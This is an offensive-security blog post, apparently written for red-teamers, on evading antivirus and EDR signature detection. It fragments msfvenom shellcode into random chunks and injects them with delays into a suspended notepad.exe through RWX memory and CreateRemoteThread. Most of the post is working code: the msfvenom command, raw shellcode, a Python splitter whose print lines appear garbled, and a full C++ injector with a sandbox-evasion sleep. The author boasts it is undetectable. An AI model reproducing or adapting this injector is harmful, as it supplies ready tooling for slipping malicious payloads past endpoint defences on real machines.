Evading Signature Based Memory Detection - Shellcode Fragmentation and Staged Reassembly
Hey everyone, and hope the holiday season is treating you well! 🎅🎄🎁 I’ve been sitting on this blog post for quite some time now and it’s high time I went ahead and make it public. This technique has been around for quite some time, but I feel it gets easily tossed into the attic, along with so many other techniques still viable in 2025 and beyond. Why? Because we all love novelty for one thing, and the latest and greatest offsec technique is always going to pique our interest. I get it, trust me. I love learning new things, I thrive on it. But I also like taking something old and re-inventing it so to speak. I got my start reinventing older code and techniques with UAC bypasses. There are so many that still work and remain undetected if you know how to tweak the code. In other words, why reinvent the wheel entirely when you can just reinvent some aspects to repurpose something that already works? EDR expects the novel techniques, but sometimes the tried and true techniques can be just as effective and quite unassuming, if you can adjust the heavily signatured nature of a given technique/payload artifact.
So, with that little prelude out of the way, here’s what we’re tackling today. In today’s post, we will take shellcode generated by msfvenom, which as we all know is a highly signatured and well known payload artifact, and repurpose it in our code to evade in-memory and static scanning. It’s incredibly handy to just generate shellcode using msfvenom and not have to craft it by hand. Don’t get me wrong, I’m masochistic enough to appreciate a good handcrafted assembly -> shellcode payload, but sometimes I just prefer to be lazy and let msfvenom do all the work. 😸
In short: We’ll be breaking up our shellcode into randomized chunks, then reassembling it into a unique memory location using VirtualAlloc. Finally, we’ll execute it via a tried and true remote thread. Simple enough, right? Let’s dive in! 😺
Msfvenom | A Python Helper Script | Fragmenting our Shellcode
Let’s start out with a python helper script that will generate the necessary first portion of our code for us. But first, go ahead and generate your msfvenom payload you wish to use in today’s code! Here’s the command I used below to generate a messagebox shellcode payload:
g3tsyst3m@debian:~$ msfvenom -p windows/x64/messagebox TEXT="g3tsyst3m" TITLE="g3tsyst3m" ICON=INFORMATION -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 305 bytes
Final size of python file: 1517 bytes
buf = b""
buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00"
buf += b"\x00\x41\x51\x41\x50\x52\x48\x31\xd2\x51\x65\x48"
buf += b"\x8b\x52\x60\x48\x8b\x52\x18\x56\x48\x8b\x52\x20"
buf += b"\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1"
buf += b"\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20"
buf += b"\x41\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18"
buf += b"\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00"
buf += b"\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48"
buf += b"\x18\x50\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d"
buf += b"\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6"
buf += b"\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38"
buf += b"\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75"
buf += b"\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
buf += b"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
buf += b"\x88\x41\x58\x41\x58\x48\x01\xd0\x5e\x59\x5a\x41"
buf += b"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff"
buf += b"\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff"
buf += b"\xff\x5d\xe8\x0b\x00\x00\x00\x75\x73\x65\x72\x33"
buf += b"\x32\x2e\x64\x6c\x6c\x00\x59\x41\xba\x4c\x77\x26"
buf += b"\x07\xff\xd5\x49\xc7\xc1\x40\x00\x00\x00\xe8\x0a"
buf += b"\x00\x00\x00\x67\x33\x74\x73\x79\x73\x74\x33\x6d"
buf += b"\x00\x5a\xe8\x0a\x00\x00\x00\x67\x33\x74\x73\x79"
buf += b"\x73\x74\x33\x6d\x00\x41\x58\x48\x31\xc9\x41\xba"
buf += b"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0"
buf += b"\xb5\xa2\x56\xff\xd5"
Now, copy the generated shellcode and place it in the script below. This script will randomize the shellcode into chunks of varying lengths. Recall that traditional shellcode detection looks for known patterns, typically in single memory regions. Fragmentation breaks our payload into small, non-suspicious chunks. Even if the first line has the familiar msfvenom \xfc\x48 and so on, it’s not feasible to trigger on all machine code instructions that include those first two bytes. What would eventually happen if all EDR vendors decided to trigger on individual machine code, is that you would inevitably run into a terrible time managing false positives. I take advantage of this 😸
Okay, back to the code. Go ahead and paste your shellcode that was generated by msfvenom into the python script below and run it:
import random
# Example shellcode (replace with your actual shellcode)
buf = b""
buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00"
buf += b"\x00\x41\x51\x41\x50\x52\x48\x31\xd2\x51\x65\x48"
buf += b"\x8b\x52\x60\x48\x8b\x52\x18\x56\x48\x8b\x52\x20"
buf += b"\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1"
buf += b"\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20"
buf += b"\x41\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18"
buf += b"\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00"
buf += b"\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48"
buf += b"\x18\x50\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d"
buf += b"\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6"
buf += b"\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38"
buf += b"\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75"
buf += b"\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
buf += b"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
buf += b"\x88\x41\x58\x41\x58\x48\x01\xd0\x5e\x59\x5a\x41"
buf += b"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff"
buf += b"\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff"
buf += b"\xff\x5d\xe8\x0b\x00\x00\x00\x75\x73\x65\x72\x33"
buf += b"\x32\x2e\x64\x6c\x6c\x00\x59\x41\xba\x4c\x77\x26"
buf += b"\x07\xff\xd5\x49\xc7\xc1\x40\x00\x00\x00\xe8\x0a"
buf += b"\x00\x00\x00\x67\x33\x74\x73\x79\x73\x74\x33\x6d"
buf += b"\x00\x5a\xe8\x0a\x00\x00\x00\x67\x33\x74\x73\x79"
buf += b"\x73\x74\x33\x6d\x00\x41\x58\x48\x31\xc9\x41\xba"
buf += b"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0"
buf += b"\xb5\xa2\x56\xff\xd5"
def split_shellcode(shellcode):
chunks = []
index = 0
# Continue splitting until we reach the end
while index < len(shellcode):
# If remaining bytes are less than minimum chunk size, take what's left
remaining_bytes = len(shellcode) - index
if remaining_bytes <= 15:
chunk_size = remaining_bytes
else:
# Random chunk size between 3 and 15 bytes
chunk_size = random.randint(3, 15)
# Extract chunk and add to list
chunks.append(shellcode[index:index + chunk_size])
index += chunk_size
# Generate shellcode variables
for i, chunk in enumerate(chunks, 1):
# Convert chunk to hex string representation
hex_string = ','.join(f'0x{byte:02x}' for byte in chunk)
print(f"unsigned char shellcode{i}[] = };")
# Generate shellcodeChunks array
print("\n// Array of shellcode pointers")
shellcode_array = ", ".join(f"shellcode{i}" for i in range(1, len(chunks) + 1))
print(f"unsigned char* shellcodeChunks[] = };")
# Generate shellcodeSizes array
print("\n// Array of shellcode sizes")
sizes_array = ", ".join(f"sizeof(shellcode{i})" for i in range(1, len(chunks) + 1))
print(f"SIZE_T shellcodeSizes[] = };")
# Split the shellcode and generate variables
split_shellcode(buf)
I’m randomizing the shellcode chunks between 3 and 15 bytes. You should get something like this:
C:\Users\robbi\shellcode_code>py sshellcode_splitter.py
unsigned char shellcode1[] = {0xfc,0x48,0x81};
unsigned char shellcode2[] = {0xe4,0xf0,0xff,0xff,0xff,0xe8,0xcc,0x00,0x00,0x00,0x41};
unsigned char shellcode3[] = {0x51,0x41,0x50,0x52,0x48,0x31,0xd2,0x51,0x65,0x48,0x8b,0x52,0x60,0x48};
unsigned char shellcode4[] = {0x8b,0x52,0x18,0x56,0x48,0x8b,0x52,0x20,0x48,0x0f,0xb7,0x4a,0x4a};
unsigned char shellcode5[] = {0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac};
unsigned char shellcode6[] = {0x3c,0x61,0x7c};
unsigned char shellcode7[] = {0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52};
unsigned char shellcode8[] = {0x48,0x8b,0x52,0x20,0x41,0x51,0x8b,0x42,0x3c,0x48,0x01,0xd0};
unsigned char shellcode9[] = {0x66,0x81,0x78};
unsigned char shellcode10[] = {0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,0x80};
unsigned char shellcode11[] = {0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x8b};
unsigned char shellcode12[] = {0x48,0x18,0x50,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56};
unsigned char shellcode13[] = {0x4d,0x31,0xc9,0x48,0xff,0xc9};
unsigned char shellcode14[] = {0x41,0x8b,0x34,0x88};
unsigned char shellcode15[] = {0x48,0x01,0xd6};
unsigned char shellcode16[] = {0x48,0x31,0xc0,0x41,0xc1,0xc9,0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75};
unsigned char shellcode17[] = {0xf1,0x4c,0x03,0x4c,0x24,0x08};
unsigned char shellcode18[] = {0x45,0x39,0xd1,0x75,0xd8};
unsigned char shellcode19[] = {0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b};
unsigned char shellcode20[] = {0x40,0x1c,0x49,0x01};
unsigned char shellcode21[] = {0xd0,0x41,0x8b,0x04,0x88,0x41,0x58,0x41,0x58,0x48};
unsigned char shellcode22[] = {0x01,0xd0,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83};
unsigned char shellcode23[] = {0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59};
unsigned char shellcode24[] = {0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff};
unsigned char shellcode25[] = {0xff,0x5d,0xe8,0x0b,0x00,0x00,0x00,0x75,0x73,0x65,0x72};
unsigned char shellcode26[] = {0x33,0x32,0x2e,0x64,0x6c};
unsigned char shellcode27[] = {0x6c,0x00,0x59};
unsigned char shellcode28[] = {0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x49,0xc7,0xc1};
unsigned char shellcode29[] = {0x40,0x00,0x00,0x00,0xe8,0x0a,0x00,0x00,0x00};
unsigned char shellcode30[] = {0x67,0x33,0x74,0x73,0x79,0x73};
unsigned char shellcode31[] = {0x74,0x33,0x6d,0x00,0x5a,0xe8,0x0a,0x00,0x00,0x00,0x67,0x33,0x74,0x73,0x79};
unsigned char shellcode32[] = {0x73,0x74,0x33,0x6d,0x00,0x41,0x58,0x48,0x31,0xc9,0x41,0xba,0x45,0x83};
unsigned char shellcode33[] = {0x56,0x07,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5};
// Array of shellcode pointers
unsigned char* shellcodeChunks[] = {shellcode1, shellcode2, shellcode3, shellcode4, shellcode5, shellcode6, shellcode7, shellcode8, shellcode9, shellcode10, shellcode11, shellcode12, shellcode13, shellcode14, shellcode15, shellcode16, shellcode17, shellcode18, shellcode19, shellcode20, shellcode21, shellcode22, shellcode23, shellcode24, shellcode25, shellcode26, shellcode27, shellcode28, shellcode29, shellcode30, shellcode31, shellcode32, shellcode33};
// Array of shellcode sizes
SIZE_T shellcodeSizes[] = {sizeof(shellcode1), sizeof(shellcode2), sizeof(shellcode3), sizeof(shellcode4), sizeof(shellcode5), sizeof(shellcode6), sizeof(shellcode7), sizeof(shellcode8), sizeof(shellcode9), sizeof(shellcode10), sizeof(shellcode11), sizeof(shellcode12), sizeof(shellcode13), sizeof(shellcode14), sizeof(shellcode15), sizeof(shellcode16), sizeof(shellcode17), sizeof(shellcode18), sizeof(shellcode19), sizeof(shellcode20), sizeof(shellcode21), sizeof(shellcode22), sizeof(shellcode23), sizeof(shellcode24), sizeof(shellcode25), sizeof(shellcode26), sizeof(shellcode27), sizeof(shellcode28), sizeof(shellcode29), sizeof(shellcode30), sizeof(shellcode31), sizeof(shellcode32), sizeof(shellcode33)};
Go ahead and copy that outputted code into Notepad or something. This takes care of Part 1 of our code. You could accomplish the randomized shellcode chunks using C/C++ if you like, but I like to pull in Python when I can as I find it simplifies matters considerably. 😺 On to Part 2!
Introducing Randomness, Delay, and Memory Allocation for Shellcode Chunks
Okay! Let’s go ahead and setup our main C++ code sections. For section one, all we need to do is add in our previously python-generated code, like so:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <chrono>
#include <thread>
//python generated code below!
//=====================================================================================================
// MessageBox shellcode generated with:
// msfvenom -p windows/x64/messagebox TEXT="g3tsyst3m" TITLE="g3tsyst3m" ICON=INFORMATION -f python
unsigned char shellcode1[] = { 0xfc,0x48,0x81,0xe4,0xf0,0xff };
unsigned char shellcode2[] = { 0xff,0xff,0xe8,0xcc,0x00,0x00,0x00,0x41 };
unsigned char shellcode3[] = { 0x51,0x41,0x50,0x52,0x51,0x48,0x31,0xd2,0x56,0x65,0x48 };
unsigned char shellcode4[] = { 0x8b,0x52,0x60,0x48,0x8b,0x52,0x18 };
unsigned char shellcode5[] = { 0x48,0x8b,0x52 };
unsigned char shellcode6[] = { 0x20,0x4d,0x31,0xc9 };
unsigned char shellcode7[] = { 0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x8b,0x72 };
unsigned char shellcode8[] = { 0x50,0x48,0x31,0xc0,0xac,0x3c };
unsigned char shellcode9[] = { 0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52 };
unsigned char shellcode10[] = { 0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x41,0x51 };
unsigned char shellcode11[] = { 0x48,0x01,0xd0,0x66,0x81 };
unsigned char shellcode12[] = { 0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00 };
unsigned char shellcode13[] = { 0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74 };
unsigned char shellcode14[] = { 0x67,0x48,0x01,0xd0,0x8b,0x48,0x18,0x50 };
unsigned char shellcode15[] = { 0x44,0x8b,0x40 };
unsigned char shellcode16[] = { 0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9 };
unsigned char shellcode17[] = { 0x4d,0x31,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48 };
unsigned char shellcode18[] = { 0x31,0xc0,0x41 };
unsigned char shellcode19[] = { 0xc1,0xc9,0x0d,0xac,0x41,0x01,0xc1 };
unsigned char shellcode20[] = { 0x38,0xe0,0x75 };
unsigned char shellcode21[] = { 0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44 };
unsigned char shellcode22[] = { 0x8b,0x40,0x24,0x49,0x01,0xd0 };
unsigned char shellcode23[] = { 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04 };
unsigned char shellcode24[] = { 0x88,0x41,0x58,0x41,0x58,0x5e,0x59,0x48 };
unsigned char shellcode25[] = { 0x01,0xd0,0x5a,0x41,0x58,0x41,0x59 };
unsigned char shellcode26[] = { 0x41,0x5a,0x48,0x83 };
unsigned char shellcode27[] = { 0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b };
unsigned char shellcode28[] = { 0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0xe8,0x0b,0x00 };
unsigned char shellcode29[] = { 0x00,0x00,0x75,0x73,0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00,0x59 };
unsigned char shellcode30[] = { 0x41,0xba,0x4c,0x77 };
unsigned char shellcode31[] = { 0x26,0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0xe8,0x0a };
unsigned char shellcode32[] = { 0x00,0x00,0x00,0x67,0x33,0x74,0x73,0x79,0x73,0x74,0x33,0x6d,0x00 };
unsigned char shellcode33[] = { 0x5a,0xe8,0x0b,0x00,0x00,0x00,0x4d,0x65,0x73 };
unsigned char shellcode34[] = { 0x73,0x61,0x67,0x65,0x42,0x6f,0x78 };
unsigned char shellcode35[] = { 0x00,0x41,0x58 };
unsigned char shellcode36[] = { 0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5 };
unsigned char shellcode37[] = { 0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
// Array of shellcode chunks
unsigned char* shellcodeChunks[] = {
shellcode1, shellcode2, shellcode3, shellcode4, shellcode5, shellcode6, shellcode7,
shellcode8, shellcode9, shellcode10, shellcode11, shellcode12, shellcode13, shellcode14,
shellcode15, shellcode16, shellcode17, shellcode18, shellcode19, shellcode20, shellcode21,
shellcode22, shellcode23, shellcode24, shellcode25, shellcode26, shellcode27, shellcode28,
shellcode29, shellcode30, shellcode31, shellcode32, shellcode33, shellcode34, shellcode35,
shellcode36, shellcode37
};
// Corresponding sizes
SIZE_T shellcodeSizes[] = {
sizeof(shellcode1), sizeof(shellcode2), sizeof(shellcode3), sizeof(shellcode4),
sizeof(shellcode5), sizeof(shellcode6), sizeof(shellcode7), sizeof(shellcode8),
sizeof(shellcode9), sizeof(shellcode10), sizeof(shellcode11), sizeof(shellcode12),
sizeof(shellcode13), sizeof(shellcode14), sizeof(shellcode15), sizeof(shellcode16),
sizeof(shellcode17), sizeof(shellcode18), sizeof(shellcode19), sizeof(shellcode20),
sizeof(shellcode21), sizeof(shellcode22), sizeof(shellcode23), sizeof(shellcode24),
sizeof(shellcode25), sizeof(shellcode26), sizeof(shellcode27), sizeof(shellcode28),
sizeof(shellcode29), sizeof(shellcode30), sizeof(shellcode31), sizeof(shellcode32),
sizeof(shellcode33), sizeof(shellcode34), sizeof(shellcode35), sizeof(shellcode36),
sizeof(shellcode37)
};
//End of python generated code
//=====================================================================================================
// Seed random
srand((unsigned int)time(NULL));
// Initial delay to mimic dormant behavior
std::this_thread::sleep_for(std::chrono::milliseconds(10000));
// Auto-calculate number of chunks
constexpr size_t numChunks = sizeof(shellcodeChunks) / sizeof(shellcodeChunks[0]);
Let’s pause here for a sec so I can explain what’s happening. I’m initializing a random seed value to be used throughout the remainder of our code. We will not use it just yet, but in due time we will I assure you. Next up, I calculate the amount of shellcode chunks we generated earlier via our python script. The final count in my case is 33, and that value will get stored in the shellcodesize variable. Lastly, we sleep for 10 seconds to try and deter any unwanted initial virtualized analysis of our code.
Continuing on! In the next section of our code, we simply print the shellcode total bytes, and then spawn Notepad in a suspended state to inject into later. Pretty straightforward 👍
// Calculate total size
SIZE_T totalSize = 0;
for (size_t i = 0; i < numChunks; i++) {
totalSize += shellcodeSizes[i];
}
printf("[+] Total shellcode size: %zu bytes\n", totalSize);
// Create suspended notepad.exe
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcess(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Notepad spawned (PID: %lu)\n", pi.dwProcessId);
Now, let’s reassemble our shellcode and allocate + write our shellcode chunks into their own unique memory region 😸 I set a minimum delay of 50 milliseconds and maximum delay of 850 milliseconds, respectively.
Reassembling the Shellcode Chunks
// Allocate final executable memory region
LPVOID remoteBase = VirtualAllocEx(pi.hProcess, NULL, totalSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteBase) {
printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 1);
CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
return 1;
}
printf("[+] Allocated RWX memory at: %p\n", remoteBase);
// Staged write: write each chunk directly into final region with random delays
SIZE_T offset = 0;
for (size_t i = 0; i < numChunks; i++) {
int delayMs = 50 + (rand() % 801); // 50-850ms
printf("[*] Waiting %d ms before writing chunk %zu...\n", delayMs, i + 1);
std::this_thread::sleep_for(std::chrono::milliseconds(delayMs));
if (!WriteProcessMemory(pi.hProcess, (BYTE*)remoteBase + offset,
shellcodeChunks[i], shellcodeSizes[i], NULL)) {
printf("[-] WriteProcessMemory failed at chunk %zu: %lu\n", i + 1, GetLastError());
VirtualFreeEx(pi.hProcess, remoteBase, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 1);
CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
return 1;
}
printf("[+] Wrote chunk % zu(% zu bytes) -> % p\n", i + 1, shellcodeSizes[i], (BYTE*)remoteBase + offset);
offset += shellcodeSizes[i];
}
printf("[+] Shellcode fully reassembled at %p\n", remoteBase);
Now for the fun part! It’s time we create a remote thread to point to our new memory region that holds our now reassembled shellcode and unsuspend the notepad process to bring everything full circle 😺
Unsuspend Notepad and Execute our Shellcode!
This part is fairly self explanatory. We just create a remote thread that points to our now reassembled shellcode memory location, unsuspend notepad, and execute!
// Execute
HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteBase, NULL, 0, NULL);
if (!hThread) {
printf("[-] CreateRemoteThread failed: %lu\n", GetLastError());
VirtualFreeEx(pi.hProcess, remoteBase, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 1);
CloseHandle(pi.hProcess); CloseHandle(pi.hThread);
return 1;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
// Resume notepad (optional — MessageBox will appear)
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
printf("[+] Execution complete. MessageBox should appear.\n");
return 0;
}
Bringing everything together, here’s how this looks during execution 😸
Chunky Shellcode Execution Demo
Full Source Code for Today’s Blog Post (Python + C++ code)
🔒 Bonus Content for Subscribers (Shellcode scrambler using Module Stomping!)
Description: This code is similar to the code in the blog post but introduces another element to help stay under the radar: Module Stomping 😸
🗒️ Access Exclusive Code Here 🗒️
ANY.RUN Results
FUD worthy 😺
Leave a comment